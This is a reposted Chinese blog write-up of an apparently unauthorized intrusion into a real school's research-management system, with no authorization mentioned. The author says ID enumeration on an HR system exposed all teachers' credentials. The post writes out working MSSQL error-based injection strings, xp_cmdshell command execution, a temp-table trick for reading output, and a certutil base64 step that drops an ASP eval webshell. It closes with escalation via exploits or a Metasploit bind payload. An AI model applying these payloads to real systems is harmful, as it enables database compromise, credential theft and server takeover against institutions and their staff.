记一次校内的XX系统渗透
2022-10-8 08:36:38 Author: 潇湘信安(查看原文) 阅读量:20 收藏

声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。
文章来源:guokeya

原文地址:https://guokeya.github.io/post/vEdQgLooM/

正文

首先进入主页是这个样子

F12也没找到啥接口。爆破也没出来。注入也无。。。。陷入僵局。然后继续翻IP。搜到一个人力资源管理系统

F12有惊喜,这里背景图片居然是download+id。

然后顺势遍历一波ID。TM居然拿到了全校老师的账号密码?????

拿到账号密码,回去科研管理系统登陆一波所有功能都点一遍,熟悉下环境

看这URL。。有点熟悉。这套系统还是Asp的。。后端应该就是IIS+Asp+SqlServer

熟悉了下语句,后端应该是

select xxxx from xxxx where 1=1 +and+left(CheckResult,2)>=12++and+(*,*+AllUsers+*,*+like+*~,10432,~*+)+ and ProjLevel=*03*

句,看看能不能报错注入。

成功带出数据,然后就查当前用户(dbo),查库查表
查库trWhere=1=convert(int,(db_name()))--查版本信息strWhere=1=convert(int,(@@version))--获取数据库strWhere=1=convert(int,(select name from master..sysdatabases for xml path))--
碰到mssql,那必得试一波XP_CMDSHELL
trWhere=1=0;exec master..xp_cmdshell 'whoami';--
啊这没回显。
用dnslog验证下。。这里简单说一下坑点
exec master..xp_cmdshell 'ping xxxxxxx';
注:虽然接到了请求。但是请求的IP查出来是google的节点服务器????不去ping,又接不到请求。。就迷惑。

然后继续搜文件,发现可以创建数据表,把xp_cmdshell的执行结果写入数据表

trWhere=1=0;CREATE TABLE tt_tmp (id int identity(1,1),constraint pkid primary key (id),tmp1 varchar(8000));--//创建一个自增表。等会就可以通过id去查询结果。这个web。只能输出一条结果。而Mssql又没有limit 1,1这种具体读第N条数据的语句。只有TOP 2。返回两条数据trWhere=1=0;insert into tt_tmp(tmp1) exec master..xp_cmdshell 'whoami';--//写入命令执行的结果trWhere=1=(select  tmp1 from tt_tmp where id=1)--//通过id查询

Mssql的xp_cmdshell执行时,会把\n单独一行。。所以这里用ID具体查询。

执行下whoami,发现是System权限,那么直接写个webshell。之前用certutil请求VPS,没收到,DNS也迷惑,感觉是不出网,学生网段和服务器网段也不能直通。。

只想到写shell了,首先dir c:\ D:\ e:\,发现e:\科研管理系统感觉就是web目录,然而。。各种奇奇怪怪的编码问题。这里一开始用的是
for /r e:\\ %i in (Login.aspx) do @echo %i然后就可以列出e:\所有目录。一个个慢慢找咯
虽然找到了Web目录,我还是解决不了这个编码问题,进都进不去,那咋写shell?
正解:URL输入的是UTF-8,服务端却是GBK,所以嘚转一下。解密后URL编码传入,这里感谢123qwer大师傅的指点。
base64.b64encode("科研管理系统".encode("gbk"))

然后继续找啊找,发现了web目录

然后写shell又被恶心到了,xp_cmdshell的单引号不解析我的URL编码,但是双引号解析????这我记得是浏览器会自动解析的啊。。

然后asp一句话又有单引号,尖括号特殊字符
<%eval request("pass")%>

这我直接自闭,整了半天,要么就是直接报错,要么就是写入的文件没引号了。

最后想到看过的一篇文章,利用certutil转码写入文件
echo PCVleGVjdXRlKHJlcXVlc3QoInBhc3MiKSklPg== > web目录\sorry.txtcertutil -decode web目录\sorry.txt  web目录\sorry.asp

直接用base64解码写入了,省去了很多烦恼当我访问时,却是500?然后尝试用菜刀链接了下,居然可以连。之后就随便整了。

Server2008补丁很少,可以用exp直接提权,或者xp_cmdshell是system权限,传个bind msf马,xp_cmdshell执行下我们去连就拿到system了。


关 注 有 礼

关注公众号回复“9527”可以领取一套HTB靶场文档和视频1208”个人常用高效爆破字典0221”2020年酒仙桥文章打包2191潇湘信安文章打包,“1212”杀软对比源码+数据源,0421Windows提权工具包

 还在等什么?赶紧点击下方名片关注学习吧!


推 荐 阅 读



文章来源: http://mp.weixin.qq.com/s?__biz=Mzg4NTUwMzM1Ng==&mid=2247498735&idx=1&sn=0d97373eb8c8906ccf4a6e3b02ab62b6&chksm=cfa55ffcf8d2d6ea1dbf4b0ac9221f8c05dc87fe24f7f633c3296a478c8d5e1aa62243a6eb43#rd
如有侵权请联系:admin#unsafe.sh